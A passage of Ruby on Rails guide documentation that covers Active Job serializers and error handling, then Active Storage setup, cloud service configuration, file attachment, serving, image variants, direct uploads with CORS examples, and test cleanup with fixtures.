  class TrashableCleanupJob < ApplicationJob
  def perform(trashable, depth)
    trashable.cleanup(depth)
  end
end

This works with any class that mixes in GlobalID::Identification, which by default has been mixed into Active Record classes.

9.2 Serializers

You can extend the list of supported argument types. You just need to define your own serializer:

  # app/serializers/money_serializer.rb
class MoneySerializer < ActiveJob::Serializers::ObjectSerializer
  # Checks if an argument should be serialized by this serializer.
  def serialize?(argument)
    argument.is_a? Money
  end

  # Converts an object to a simpler representative using supported object types.
  # The recommended representative is a Hash with a specific key. Keys can be of basic types only.
  # You should call `super` to add the custom serializer type to the hash.
  def serialize(money)
    super(
      "amount" => money.amount,
      "currency" => money.currency
    )
  end

  # Converts serialized value into a proper object.
  def deserialize(hash)
    Money.new(hash["amount"], hash["currency"])
  end
end

and add this serializer to the list:

  # config/initializers/custom_serializers.rb
Rails.application.config.active_job.custom_serializers << MoneySerializer

Note that autoloading reloadable code during initialization is not supported. Thus it is recommended to set-up serializers to be loaded only once, e.g. by amending config/application.rb like this:

  # config/application.rb
module YourApp
  class Application < Rails::Application
    config.autoload_once_paths << Rails.root.join('app', 'serializers')
  end
end

10 Exceptions

Exceptions raised during the execution of the job can be handled with rescue_from:

  class GuestsCleanupJob < ApplicationJob
  queue_as :default

  rescue_from(ActiveRecord::RecordNotFound) do |exception|
    # Do something with the exception
  end

  def perform
    # Do something later
  end
end

If an exception from a job is not rescued, then the job is referred to as "failed".

10.1 Retrying or Discarding Failed Jobs

A failed job will not be retried, unless configured otherwise.

It's possible to retry or discard a failed job by using retry_on or discard_on, respectively. For example:

  class RemoteServiceJob < ApplicationJob
  retry_on CustomAppException # defaults to 3s wait, 5 attempts

  discard_on ActiveJob::DeserializationError

  def perform(*args)
    # Might raise CustomAppException or ActiveJob::DeserializationError
  end
end

10.2 Deserialization

GlobalID allows serializing full Active Record objects passed to #perform.

If a passed record is deleted after the job is enqueued but before the #perform method is called Active Job will raise an ActiveJob::DeserializationError exception.

11 Job Testing

You can find detailed instructions on how to test your jobs in the testing guide.

Active Storage Overview

This guide covers how to attach files to your Active Record models.

After reading this guide, you will know:

How to attach one or many files to a record.

How to delete an attached file.

How to link to an attached file.

How to use variants to transform images.

How to generate an image representation of a non-image file, such as a PDF or a video.

How to send file uploads directly from browsers to a storage service, bypassing your application servers.

How to clean up files stored during testing.

How to implement support for additional storage services.

Chapters

What is Active Storage?

Requirements

Setup

Disk Service

S3 Service (Amazon S3 and S3-compatible APIs)

Microsoft Azure Storage Service

Google Cloud Storage Service

Mirror Service

Public access

Attaching Files to Records

has_one_attached

has_many_attached

Attaching File/IO Objects

Removing Files

Serving Files

Redirect Mode

Proxy Mode

Authenticated Controllers

Downloading Files

Analyzing Files

Displaying Images, Videos, and PDFs

Lazy vs Immediate Loading

Transforming Images

Previewing Files

Direct Uploads

Usage

Cross-Origin Resource Sharing (CORS) Configuration

Direct Upload JavaScript Events

Example

Integrating with Libraries or Frameworks

Testing

Discarding Files Created During Tests

Adding Attachments to Fixtures

Implementing Support for Other Cloud Services

Purging Unattached Uploads

1 What is Active Storage?

Active Storage facilitates uploading files to a cloud storage service like Amazon S3, Google Cloud Storage, or Microsoft Azure Storage and attaching those files to Active Record objects. It comes with a local disk-based service for development and testing and supports mirroring files to subordinate services for backups and migrations.

Using Active Storage, an application can transform image uploads or generate image representations of non-image uploads like PDFs and videos, and extract metadata from arbitrary files.

1.1 Requirements

Various features of Active Storage depend on third-party software which Rails will not install, and must be installed separately:

libvips v8.6+ or ImageMagick for image analysis and transformations

ffmpeg v3.4+ for video previews and ffprobe for video/audio analysis

poppler or muPDF for PDF previews

Image analysis and transformations also require the image_processing gem. Uncomment it in your Gemfile, or add it if necessary:

  gem "image_processing", ">= 1.2"

Compared to libvips, ImageMagick is better known and more widely available. However, libvips can be up to 10x faster and consume 1/10 the memory. For JPEG files, this can be further improved by replacing libjpeg-dev with libjpeg-turbo-dev, which is 2-7x faster.

Before you install and use third-party software, make sure you understand the licensing implications of doing so. MuPDF, in particular, is licensed under AGPL and requires a commercial license for some use.

2 Setup

Active Storage uses three tables in your application’s database named active_storage_blobs, active_storage_variant_records and active_storage_attachments. After creating a new application (or upgrading your application to Rails 5.2), run bin/rails active_storage:install to generate a migration that creates these tables. Use bin/rails db:migrate to run the migration.

active_storage_attachments is a polymorphic join table that stores your model's class name. If your model's class name changes, you will need to run a migration on this table to update the underlying record_type to your model's new class name.

If you are using UUIDs instead of integers as the primary key on your models you will need to change the column type of active_storage_attachments.record_id and active_storage_variant_records.id in the generated migration accordingly.

Declare Active Storage services in config/storage.yml. For each service your application uses, provide a name and the requisite configuration. The example below declares three services named local, test, and amazon:

  local:
  service: Disk
  root: <%= Rails.root.join("storage") %>

test:
  service: Disk
  root: <%= Rails.root.join("tmp/storage") %>

amazon:
  service: S3
  access_key_id: ""
  secret_access_key: ""
  bucket: ""
  region: "" # e.g. 'us-east-1'

Tell Active Storage which service to use by setting Rails.application.config.active_storage.service. Because each environment will likely use a different service, it is recommended to do this on a per-environment basis. To use the disk service from the previous example in the development environment, you would add the following to config/environments/development.rb:

  # Store files locally.
config.active_storage.service = :local

To use the S3 service in production, you add the following to config/environments/production.rb:

  # Store files on Amazon S3.
config.active_storage.service = :amazon

To use the test service when testing, you add the following to config/environments/test.rb:

  # Store uploaded files on the local file system in a temporary directory.
config.active_storage.service = :test

Continue reading for more information on the built-in service adapters (e.g. Disk and S3) and the configuration they require.

Configuration files that are environment-specific will take precedence: in production, for example, the config/storage/production.yml file (if existent) will take precedence over the config/storage.yml file.

It is recommended to use Rails.env in the bucket names to further reduce the risk of accidentally destroying production data.

  amazon:
  service: S3
  # ...
  bucket: your_own_bucket-<%= Rails.env %>

google:
  service: GCS
  # ...
  bucket: your_own_bucket-<%= Rails.env %>

azure:
  service: AzureStorage
  # ...
  container: your_container_name-<%= Rails.env %>

2.1 Disk Service

Declare a Disk service in config/storage.yml:

  local:
  service: Disk
  root: <%= Rails.root.join("storage") %>

2.2 S3 Service (Amazon S3 and S3-compatible APIs)

To connect to Amazon S3, declare an S3 service in config/storage.yml:

  amazon:
  service: S3
  access_key_id: ""
  secret_access_key: ""
  region: ""
  bucket: ""

Optionally provide client and upload options:

  amazon:
  service: S3
  access_key_id: ""
  secret_access_key: ""
  region: ""
  bucket: ""
  http_open_timeout: 0
  http_read_timeout: 0
  retry_limit: 0
  upload:
    server_side_encryption: "" # 'aws:kms' or 'AES256'

Set sensible client HTTP timeouts and retry limits for your application. In certain failure scenarios, the default AWS client configuration may cause connections to be held for up to several minutes and lead to request queuing.

Add the aws-sdk-s3 gem to your Gemfile:

  gem "aws-sdk-s3", require: false

The core features of Active Storage require the following permissions: s3:ListBucket, s3:PutObject, s3:GetObject, and s3:DeleteObject. Public access additionally requires s3:PutObjectAcl. If you have additional upload options configured such as setting ACLs then additional permissions may be required.

If you want to use environment variables, standard SDK configuration files, profiles, IAM instance profiles or task roles, you can omit the access_key_id, secret_access_key, and region keys in the example above. The S3 Service supports all of the authentication options described in the AWS SDK documentation.

To connect to an S3-compatible object storage API such as DigitalOcean Spaces, provide the endpoint:

  digitalocean:
  service: S3
  endpoint: https://nyc3.digitaloceanspaces.com
  access_key_id: ...
  secret_access_key: ...
  # ...and other options

There are many other options available. You can check them in AWS S3 Client documentation.

2.3 Microsoft Azure Storage Service

Declare an Azure Storage service in config/storage.yml:

  azure:
  service: AzureStorage
  storage_account_name: ""
  storage_access_key: ""
  container: ""

Add the azure-storage-blob gem to your Gemfile:

  gem "azure-storage-blob", require: false

2.4 Google Cloud Storage Service

Declare a Google Cloud Storage service in config/storage.yml:

  google:
  service: GCS
  credentials: <%= Rails.root.join("path/to/keyfile.json") %>
  project: ""
  bucket: ""

Optionally provide a Hash of credentials instead of a keyfile path:

  google:
  service: GCS
  credentials:
    type: "service_account"
    project_id: ""
    private_key_id: <%= Rails.application.credentials.dig(:gcs, :private_key_id) %>
    private_key: <%= Rails.application.credentials.dig(:gcs, :private_key).dump %>
    client_email: ""
    client_id: ""
    auth_uri: "https://accounts.google.com/o/oauth2/auth"
    token_uri: "https://accounts.google.com/o/oauth2/token"
    auth_provider_x509_cert_url: "https://www.googleapis.com/oauth2/v1/certs"
    client_x509_cert_url: ""
  project: ""
  bucket: ""

Optionally provide a Cache-Control metadata to set on uploaded assets:

  google:
  service: GCS
  ...
  cache_control: "public, max-age=3600"

Optionally use IAM instead of the credentials when signing URLs. This is useful if you are authenticating your GKE applications with Workload Identity, see this Google Cloud blog post for more information.

  google:
  service: GCS
  ...
  iam: true

Optionally use a specific GSA when signing URLs. When using IAM, the metadata server will be contacted to get the GSA email, but this metadata server is not always present (e.g. local tests) and you may wish to use a non-default GSA.

  google:
  service: GCS
  ...
  iam: true
  gsa_email: "foobar@baz.iam.gserviceaccount.com"

Add the google-cloud-storage gem to your Gemfile:

  gem "google-cloud-storage", "~> 1.11", require: false

2.5 Mirror Service

You can keep multiple services in sync by defining a mirror service. A mirror service replicates uploads and deletes across two or more subordinate services.

A mirror service is intended to be used temporarily during a migration between services in production. You can start mirroring to a new service, copy pre-existing files from the old service to the new, then go all-in on the new service.

Mirroring is not atomic. It is possible for an upload to succeed on the primary service and fail on any of the subordinate services. Before going all-in on a new service, verify that all files have been copied.

Define each of the services you'd like to mirror as described above. Reference them by name when defining a mirror service:

  s3_west_coast:
  service: S3
  access_key_id: ""
  secret_access_key: ""
  region: ""
  bucket: ""

s3_east_coast:
  service: S3
  access_key_id: ""
  secret_access_key: ""
  region: ""
  bucket: ""

production:
  service: Mirror
  primary: s3_east_coast
  mirrors:
    - s3_west_coast

Although all secondary services receive uploads, downloads are always handled by the primary service.

Mirror services are compatible with direct uploads. New files are directly uploaded to the primary service. When a directly-uploaded file is attached to a record, a background job is enqueued to copy it to the secondary services.

2.6 Public access

By default, Active Storage assumes private access to services. This means generating signed, single-use URLs for blobs. If you'd rather make blobs publicly accessible, specify public: true in your app's config/storage.yml:

  gcs: &gcs
  service: GCS
  project: ""

private_gcs:
  <<: *gcs
  credentials: <%= Rails.root.join("path/to/private_keyfile.json") %>
  bucket: ""

public_gcs:
  <<: *gcs
  credentials: <%= Rails.root.join("path/to/public_keyfile.json") %>
  bucket: ""
  public: true

Make sure your buckets are properly configured for public access. See docs on how to enable public read permissions for Amazon S3, Google Cloud Storage, and Microsoft Azure storage services. Amazon S3 additionally requires that you have the s3:PutObjectAcl permission.

When converting an existing application to use public: true, make sure to update every individual file in the bucket to be publicly-readable before switching over.

3 Attaching Files to Records

3.1 has_one_attached

The has_one_attached macro sets up a one-to-one mapping between records and files. Each record can have one file attached to it.

For example, suppose your application has a User model. If you want each user to have an avatar, define the User model as follows:

  class User < ApplicationRecord
  has_one_attached :avatar
end

or if you are using Rails 6.0+, you can run a model generator command like this:

  bin/rails generate model User avatar:attachment

You can create a user with an avatar:

  <%= form.file_field :avatar %>

  class SignupController < ApplicationController
  def create
    user = User.create!(user_params)
    session[:user_id] = user.id
    redirect_to root_path
  end

  private
    def user_params
      params.require(:user).permit(:email_address, :password, :avatar)
    end
end

Call avatar.attach to attach an avatar to an existing user:

  user.avatar.attach(params[:avatar])

Call avatar.attached? to determine whether a particular user has an avatar:

  user.avatar.attached?

In some cases you might want to override a default service for a specific attachment. You can configure specific services per attachment using the service option:

  class User < ApplicationRecord
  has_one_attached :avatar, service: :s3
end

You can configure specific variants per attachment by calling the variant method on yielded attachable object:

  class User < ApplicationRecord
  has_one_attached :avatar do |attachable|
    attachable.variant :thumb, resize_to_limit: [100, 100]
  end
end

Call avatar.variant(:thumb) to get a thumb variant of an avatar:

  <%= image_tag user.avatar.variant(:thumb) %>

3.2 has_many_attached

The has_many_attached macro sets up a one-to-many relationship between records and files. Each record can have many files attached to it.

For example, suppose your application has a Message model. If you want each message to have many images, define the Message model as follows:

  class Message < ApplicationRecord
  has_many_attached :images
end

or if you are using Rails 6.0+, you can run a model generator command like this:

  bin/rails generate model Message images:attachments

You can create a message with images:

  class MessagesController < ApplicationController
  def create
    message = Message.create!(message_params)
    redirect_to message
  end

  private
    def message_params
      params.require(:message).permit(:title, :content, images: [])
    end
end

Call images.attach to add new images to an existing message:

  @message.images.attach(params[:images])

Call images.attached? to determine whether a particular message has any images:

  @message.images.attached?

Overriding the default service is done the same way as has_one_attached, by using the service option:

  class Message < ApplicationRecord
  has_many_attached :images, service: :s3
end

Configuring specific variants is done the same way as has_one_attached, by calling the variant method on the yielded attachable object:

  class Message < ApplicationRecord
  has_many_attached :images do |attachable|
    attachable.variant :thumb, resize_to_limit: [100, 100]
  end
end

3.3 Attaching File/IO Objects

Sometimes you need to attach a file that doesn’t arrive via an HTTP request. For example, you may want to attach a file you generated on disk or downloaded from a user-submitted URL. You may also want to attach a fixture file in a model test. To do that, provide a Hash containing at least an open IO object and a filename:

  @message.images.attach(io: File.open('/path/to/file'), filename: 'file.pdf')

When possible, provide a content type as well. Active Storage attempts to determine a file’s content type from its data. It falls back to the content type you provide if it can’t do that.

  @message.images.attach(io: File.open('/path/to/file'), filename: 'file.pdf', content_type: 'application/pdf')

You can bypass the content type inference from the data by passing in identify: false along with the content_type.

  @message.images.attach(
  io: File.open('/path/to/file'),
  filename: 'file.pdf',
  content_type: 'application/pdf',
  identify: false
)

If you don’t provide a content type and Active Storage can’t determine the file’s content type automatically, it defaults to application/octet-stream.

4 Removing Files

To remove an attachment from a model, call purge on the attachment. If your application is set up to use Active Job, removal can be done in the background instead by calling purge_later. Purging deletes the blob and the file from the storage service.

  # Synchronously destroy the avatar and actual resource files.
user.avatar.purge

# Destroy the associated models and actual resource files async, via Active Job.
user.avatar.purge_later

5 Serving Files

Active Storage supports two ways to serve files: redirecting and proxying.

All Active Storage controllers are publicly accessible by default. The generated URLs are hard to guess, but permanent by design. If your files require a higher level of protection consider implementing Authenticated Controllers.

5.1 Redirect Mode

To generate a permanent URL for a blob, you can pass the blob to the url_for view helper. This generates a URL with the blob's signed_id that is routed to the blob's RedirectController

  url_for(user.avatar)
# => /rails/active_storage/blobs/:signed_id/my-avatar.png

The RedirectController redirects to the actual service endpoint. This indirection decouples the service URL from the actual one, and allows, for example, mirroring attachments in different services for high-availability. The redirection has an HTTP expiration of 5 minutes.

To create a download link, use the rails_blob_{path|url} helper. Using this helper allows you to set the disposition.

  rails_blob_path(user.avatar, disposition: "attachment")

To prevent XSS attacks, Active Storage forces the Content-Disposition header to "attachment" for some kind of files. To change this behaviour see the available configuration options in Configuring Rails Applications.

If you need to create a link from outside of controller/view context (Background jobs, Cronjobs, etc.), you can access the rails_blob_path like this:

  Rails.application.routes.url_helpers.rails_blob_path(user.avatar, only_path: true)

5.2 Proxy Mode

Optionally, files can be proxied instead. This means that your application servers will download file data from the storage service in response to requests. This can be useful for serving files from a CDN.

You can configure Active Storage to use proxying by default:

  # config/initializers/active_storage.rb
Rails.application.config.active_storage.resolve_model_to_route = :rails_storage_proxy

Or if you want to explicitly proxy specific attachments there are URL helpers you can use in the form of rails_storage_proxy_path and rails_storage_proxy_url.

  <%= image_tag rails_storage_proxy_path(@user.avatar) %>

5.2.1 Putting a CDN in Front of Active Storage

Additionally, in order to use a CDN for Active Storage attachments, you will need to generate URLs with proxy mode so that they are served by your app and the CDN will cache the attachment without any extra configuration. This works out of the box because the default Active Storage proxy controller sets an HTTP header indicating to the CDN to cache the response.

You should also make sure that the generated URLs use the CDN host instead of your app host. There are multiple ways to achieve this, but in general it involves tweaking your config/routes.rb file so that you can generate the proper URLs for the attachments and their variations. As an example, you could add this:

  # config/routes.rb
direct :cdn_image do |model, options|
  if model.respond_to?(:signed_id)
    route_for(
      :rails_service_blob_proxy,
      model.signed_id,
      model.filename,
      options.merge(host: ENV['CDN_HOST'])
    )
  else
    signed_blob_id = model.blob.signed_id
    variation_key  = model.variation.key
    filename       = model.blob.filename

    route_for(
      :rails_blob_representation_proxy,
      signed_blob_id,
      variation_key,
      filename,
      options.merge(host: ENV['CDN_HOST'])
    )
  end
end

and then generate routes like this:

  <%= cdn_image_url(user.avatar.variant(resize_to_limit: [128, 128])) %>

5.3 Authenticated Controllers

All Active Storage controllers are publicly accessible by default. The generated URLs use a plain signed_id, making them hard to guess but permanent. Anyone that knows the blob URL will be able to access it, even if a before_action in your ApplicationController would otherwise require a login. If your files require a higher level of protection, you can implement your own authenticated controllers, based on the ActiveStorage::Blobs::RedirectController, ActiveStorage::Blobs::ProxyController, ActiveStorage::Representations::RedirectController and ActiveStorage::Representations::ProxyController

To only allow an account to access their own logo you could do the following:

  # config/routes.rb
resource :account do
  resource :logo
end

  # app/controllers/logos_controller.rb
class LogosController < ApplicationController
  # Through ApplicationController:
  # include Authenticate, SetCurrentAccount

  def show
    redirect_to Current.account.logo.url
  end
end

  <%= image_tag account_logo_path %>

And then you might want to disable the Active Storage default routes with:

  config.active_storage.draw_routes = false

to prevent files being accessed with the publicly accessible URLs.

6 Downloading Files

Sometimes you need to process a blob after it’s uploaded—for example, to convert it to a different format. Use the attachment's download method to read a blob’s binary data into memory:

  binary = user.avatar.download

You might want to download a blob to a file on disk so an external program (e.g. a virus scanner or media transcoder) can operate on it. Use the attachment's open method to download a blob to a tempfile on disk:

  message.video.open do |file|
  system '/path/to/virus/scanner', file.path
  # ...
end

It's important to know that the file is not yet available in the after_create callback but in the after_create_commit only.

7 Analyzing Files

Active Storage analyzes files once they've been uploaded by queuing a job in Active Job. Analyzed files will store additional information in the metadata hash, including analyzed: true. You can check whether a blob has been analyzed by calling analyzed? on it.

Image analysis provides width and height attributes. Video analysis provides these, as well as duration, angle, display_aspect_ratio, and video and audio booleans to indicate the presence of those channels. Audio analysis provides duration and bit_rate attributes.

8 Displaying Images, Videos, and PDFs

Active Storage supports representing a variety of files. You can call representation on an attachment to display an image variant, or a preview of a video or PDF. Before calling representation, check if the attachment can be represented by calling representable?. Some file formats can't be previewed by Active Storage out of the box (e.g. Word documents); if representable? returns false you may want to link to the file instead.

  <ul>
  <% @message.files.each do |file| %>
    <li>
      <% if file.representable? %>
        <%= image_tag file.representation(resize_to_limit: [100, 100]) %>
      <% else %>
        <%= link_to rails_blob_path(file, disposition: "attachment") do %>
          <%= image_tag "placeholder.png", alt: "Download file" %>
        <% end %>
      <% end %>
    </li>
  <% end %>
</ul>

Internally, representation calls variant for images, and preview for previewable files. You can also call these methods directly.

8.1 Lazy vs Immediate Loading

By default, Active Storage will process representations lazily. This code:

  image_tag file.representation(resize_to_limit: [100, 100])

Will generate an <img> tag with the src pointing to the ActiveStorage::Representations::RedirectController. The browser will make a request to that controller, which will return a 302 redirect to the file on the remote service (or in proxy mode, return the file contents). Loading the file lazily allows features like single use URLs to work without slowing down your initial page loads.

This works fine for most cases.

If you want to generate URLs for images immediately, you can call .processed.url:

  image_tag file.representation(resize_to_limit: [100, 100]).processed.url

The Active Storage variant tracker improves performance of this, by storing a record in the database if the requested representation has been processed before. Thus, the above code will only make an API call to the remote service (e.g. S3) once, and once a variant is stored, will use that. The variant tracker runs automatically, but can be disabled through config.active_storage.track_variants.

If you're rendering lots of images on a page, the above example could result in N+1 queries loading all the variant records. To avoid these N+1 queries, use the named scopes on ActiveStorage::Attachment.

  message.images.with_all_variant_records.each do |file|
  image_tag file.representation(resize_to_limit: [100, 100]).processed.url
end

8.2 Transforming Images

Transforming images allows you to display the image at your choice of dimensions. To create a variation of an image, call variant on the attachment. You can pass any transformation supported by the variant processor to the method. When the browser hits the variant URL, Active Storage will lazily transform the original blob into the specified format and redirect to its new service location.

  <%= image_tag user.avatar.variant(resize_to_limit: [100, 100]) %>

If a variant is requested, Active Storage will automatically apply transformations depending on the image's format:

Content types that are variable (as dictated by config.active_storage.variable_content_types) and not considered web images (as dictated by config.active_storage.web_image_content_types), will be converted to PNG.

If quality is not specified, the variant processor's default quality for the format will be used.

Active Storage can use either Vips or MiniMagick as the variant processor. The default depends on your config.load_defaults target version, and the processor can be changed by setting config.active_storage.variant_processor.

The two processors are not fully compatible, so when migrating an existing application between MiniMagick and Vips, some changes have to be made if using options that are format specific:

  <!-- MiniMagick -->
<%= image_tag user.avatar.variant(resize_to_limit: [100, 100], format: :jpeg, sampling_factor: "4:2:0", strip: true, interlace: "JPEG", colorspace: "sRGB", quality: 80) %>

<!-- Vips -->
<%= image_tag user.avatar.variant(resize_to_limit: [100, 100], format: :jpeg, saver: { subsample_mode: "on", strip: true, interlace: true, quality: 80 }) %>

8.3 Previewing Files

Some non-image files can be previewed: that is, they can be presented as images. For example, a video file can be previewed by extracting its first frame. Out of the box, Active Storage supports previewing videos and PDF documents. To create a link to a lazily-generated preview, use the attachment's preview method:

  <%= image_tag message.video.preview(resize_to_limit: [100, 100]) %>

To add support for another format, add your own previewer. See the ActiveStorage::Preview documentation for more information.

9 Direct Uploads

Active Storage, with its included JavaScript library, supports uploading directly from the client to the cloud.

9.1 Usage

Include activestorage.js in your application's JavaScript bundle.

Using the asset pipeline:

//= require activestorage

Using the npm package:

import * as ActiveStorage from "@rails/activestorage"
ActiveStorage.start()

Add direct_upload: true to your file field:

<%= form.file_field :attachments, multiple: true, direct_upload: true %>

Or, if you aren't using a FormBuilder, add the data attribute directly:

<input type="file" data-direct-upload-url="<%= rails_direct_uploads_url %>" />

Configure CORS on third-party storage services to allow direct upload requests.

That's it! Uploads begin upon form submission.

9.2 Cross-Origin Resource Sharing (CORS) Configuration

To make direct uploads to a third-party service work, you’ll need to configure the service to allow cross-origin requests from your app. Consult the CORS documentation for your service:

S3

Google Cloud Storage

Azure Storage

Take care to allow:

All origins from which your app is accessed

The PUT request method

The following headers:

Origin

Content-Type

Content-MD5

Content-Disposition (except for Azure Storage)

x-ms-blob-content-disposition (for Azure Storage only)

x-ms-blob-type (for Azure Storage only)

Cache-Control (for GCS, only if cache_control is set)

No CORS configuration is required for the Disk service since it shares your app’s origin.

9.2.1 Example: S3 CORS Configuration

  [
  {
    "AllowedHeaders": [
      "*"
    ],
    "AllowedMethods": [
      "PUT"
    ],
    "AllowedOrigins": [
      "https://www.example.com"
    ],
    "ExposeHeaders": [
      "Origin",
      "Content-Type",
      "Content-MD5",
      "Content-Disposition"
    ],
    "MaxAgeSeconds": 3600
  }
]

9.2.2 Example: Google Cloud Storage CORS Configuration

  [
  {
    "origin": ["https://www.example.com"],
    "method": ["PUT"],
    "responseHeader": ["Origin", "Content-Type", "Content-MD5", "Content-Disposition"],
    "maxAgeSeconds": 3600
  }
]

9.2.3 Example: Azure Storage CORS Configuration

  <Cors>
  <CorsRule>
    <AllowedOrigins>https://www.example.com</AllowedOrigins>
    <AllowedMethods>PUT</AllowedMethods>
    <AllowedHeaders>Origin, Content-Type, Content-MD5, x-ms-blob-content-disposition, x-ms-blob-type</AllowedHeaders>
    <MaxAgeInSeconds>3600</MaxAgeInSeconds>
  </CorsRule>
</Cors>

9.3 Direct Upload JavaScript Events

Event name | Event target | Event data (event.detail) | Description
direct-uploads:start | <form> | None | A form containing files for direct upload fields was submitted.
direct-upload:initialize | <input> | {id, file} | Dispatched for every file after form submission.
direct-upload:start | <input> | {id, file} | A direct upload is starting.
direct-upload:before-blob-request | <input> | {id, file, xhr} | Before making a request to your application for direct upload metadata.
direct-upload:before-storage-request | <input> | {id, file, xhr} | Before making a request to store a file.
direct-upload:progress | <input> | {id, file, progress} | As requests to store files progress.
direct-upload:error | <input> | {id, file, error} | An error occurred. An alert will display unless this event is canceled.
direct-upload:end | <input> | {id, file} | A direct upload has ended.
direct-uploads:end | <form> | None | All direct uploads have ended.

9.4 Example

You can use these events to show the progress of an upload.

To show the uploaded files in a form:

  // direct_uploads.js

addEventListener("direct-upload:initialize", event => {
  const { target, detail } = event
  const { id, file } = detail
  target.insertAdjacentHTML("beforebegin", `
    <div id="direct-upload-${id}" class="direct-upload direct-upload--pending">
      <div id="direct-upload-progress-${id}" class="direct-upload__progress" style="width: 0%"></div>
      <span class="direct-upload__filename"></span>
    </div>
  `)
  target.previousElementSibling.querySelector(`.direct-upload__filename`).textContent = file.name
})

addEventListener("direct-upload:start", event => {
  const { id } = event.detail
  const element = document.getElementById(`direct-upload-${id}`)
  element.classList.remove("direct-upload--pending")
})

addEventListener("direct-upload:progress", event => {
  const { id, progress } = event.detail
  const progressElement = document.getElementById(`direct-upload-progress-${id}`)
  progressElement.style.width = `${progress}%`
})

addEventListener("direct-upload:error", event => {
  event.preventDefault()
  const { id, error } = event.detail
  const element = document.getElementById(`direct-upload-${id}`)
  element.classList.add("direct-upload--error")
  element.setAttribute("title", error)
})

addEventListener("direct-upload:end", event => {
  const { id } = event.detail
  const element = document.getElementById(`direct-upload-${id}`)
  element.classList.add("direct-upload--complete")
})

Add styles:

  /* direct_uploads.css */

.direct-upload {
  display: inline-block;
  position: relative;
  padding: 2px 4px;
  margin: 0 3px 3px 0;
  border: 1px solid rgba(0, 0, 0, 0.3);
  border-radius: 3px;
  font-size: 11px;
  line-height: 13px;
}

.direct-upload--pending {
  opacity: 0.6;
}

.direct-upload__progress {
  position: absolute;
  top: 0;
  left: 0;
  bottom: 0;
  opacity: 0.2;
  background: #0076ff;
  transition: width 120ms ease-out, opacity 60ms 60ms ease-in;
  transform: translate3d(0, 0, 0);
}

.direct-upload--complete .direct-upload__progress {
  opacity: 0.4;
}

.direct-upload--error {
  border-color: red;
}

input[type=file][data-direct-upload-url][disabled] {
  display: none;
}

9.5 Integrating with Libraries or Frameworks

If you want to use the Direct Upload feature from a JavaScript framework, or you want to integrate custom drag and drop solutions, you can use the DirectUpload class for this purpose. Upon receiving a file from your library of choice, instantiate a DirectUpload and call its create method. Create takes a callback to invoke when the upload completes.

  import { DirectUpload } from "@rails/activestorage"

const input = document.querySelector('input[type=file]')

// Bind to file drop - use the ondrop on a parent element or use a
//  library like Dropzone
const onDrop = (event) => {
  event.preventDefault()
  const files = event.dataTransfer.files;
  Array.from(files).forEach(file => uploadFile(file))
}

// Bind to normal file selection
input.addEventListener('change', (event) => {
  Array.from(input.files).forEach(file => uploadFile(file))
  // you might clear the selected files from the input
  input.value = null
})

const uploadFile = (file) => {
  // your form needs the file_field direct_upload: true, which
  //  provides data-direct-upload-url
  const url = input.dataset.directUploadUrl
  const upload = new DirectUpload(file, url)

  upload.create((error, blob) => {
    if (error) {
      // Handle the error
    } else {
      // Add an appropriately-named hidden input to the form with a
      //  value of blob.signed_id so that the blob ids will be
      //  transmitted in the normal upload flow
      const hiddenField = document.createElement('input')
      hiddenField.setAttribute("type", "hidden");
      hiddenField.setAttribute("value", blob.signed_id);
      hiddenField.name = input.name
      document.querySelector('form').appendChild(hiddenField)
    }
  })
}

If you need to track the progress of the file upload, you can pass a third parameter to the DirectUpload constructor. During the upload, DirectUpload will call the object's directUploadWillStoreFileWithXHR method. You can then bind your own progress handler on the XHR.

  import { DirectUpload } from "@rails/activestorage"

class Uploader {
  constructor(file, url) {
    this.upload = new DirectUpload(this.file, this.url, this)
  }

  upload(file) {
    this.upload.create((error, blob) => {
      if (error) {
        // Handle the error
      } else {
        // Add an appropriately-named hidden input to the form
        // with a value of blob.signed_id
      }
    })
  }

  directUploadWillStoreFileWithXHR(request) {
    request.upload.addEventListener("progress",
      event => this.directUploadDidProgress(event))
  }

  directUploadDidProgress(event) {
    // Use event.loaded and event.total to update the progress bar
  }
}

Using Direct Uploads can sometimes result in a file that uploads, but never attaches to a record. Consider purging unattached uploads.

10 Testing

Use fixture_file_upload to test uploading a file in an integration or controller test. Rails handles files like any other parameter.

  class SignupController < ActionDispatch::IntegrationTest
  test "can sign up" do
    post signup_path, params: {
      name: "David",
      avatar: fixture_file_upload("david.png", "image/png")
    }

    user = User.order(:created_at).last
    assert user.avatar.attached?
  end
end

10.1 Discarding Files Created During Tests

10.1.1 System Tests

System tests clean up test data by rolling back a transaction. Because destroy is never called on an object, the attached files are never cleaned up. If you want to clear the files, you can do it in an after_teardown callback. Doing it here ensures that all connections created during the test are complete and you won't receive an error from Active Storage saying it can't find a file.

  class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
  # ...
  def after_teardown
    super
    FileUtils.rm_rf(ActiveStorage::Blob.service.root)
  end
  # ...
end

If you're using parallel tests and the DiskService, you should configure each process to use its own folder for Active Storage. This way, the teardown callback will only delete files from the relevant process' tests.

  class ApplicationSystemTestCase < ActionDispatch::SystemTestCase
  # ...
  parallelize_setup do |i|
    ActiveStorage::Blob.service.root = "#{ActiveStorage::Blob.service.root}-#{i}"
  end
  # ...
end

If your system tests verify the deletion of a model with attachments and you're using Active Job, set your test environment to use the inline queue adapter so the purge job is executed immediately rather at an unknown time in the future.

  # Use inline job processing to make things happen immediately
config.active_job.queue_adapter = :inline

10.1.2 Integration Tests

Similarly to System Tests, files uploaded during Integration Tests will not be automatically cleaned up. If you want to clear the files, you can do it in an teardown callback.

  class ActionDispatch::IntegrationTest
  def after_teardown
    super
    FileUtils.rm_rf(ActiveStorage::Blob.service.root)
  end
end

If you're using parallel tests and the Disk service, you should configure each process to use its own folder for Active Storage. This way, the teardown callback will only delete files from the relevant process' tests.

  class ActionDispatch::IntegrationTest
  parallelize_setup do |i|
    ActiveStorage::Blob.service.root = "#{ActiveStorage::Blob.service.root}-#{i}"
  end
end

10.2 Adding Attachments to Fixtures

You can add attachments to your existing fixtures. First, you'll want to create a separate storage service:

  # config/storage.yml

test_fixtures:
  service: Disk
  root: <%= Rails.root.join("tmp/storage_fixtures") %>

This tells Active Storage where to "upload" fixture files to, so it should be a temporary directory. By making it a different directory to your regular test service, you can separate fixture files from files uploaded during a test.

Next, create fixture files for the Active Storage classes:

  # active_storage/attachments.yml
david_avatar:
  name: avatar
  record: david (User)
  blob: david_avatar_blob

  # active_storage/blobs.yml
david_avatar_blob: <%= ActiveStorage::FixtureSet.blob filename: "david.png", service_name: "test_fixtures" %>

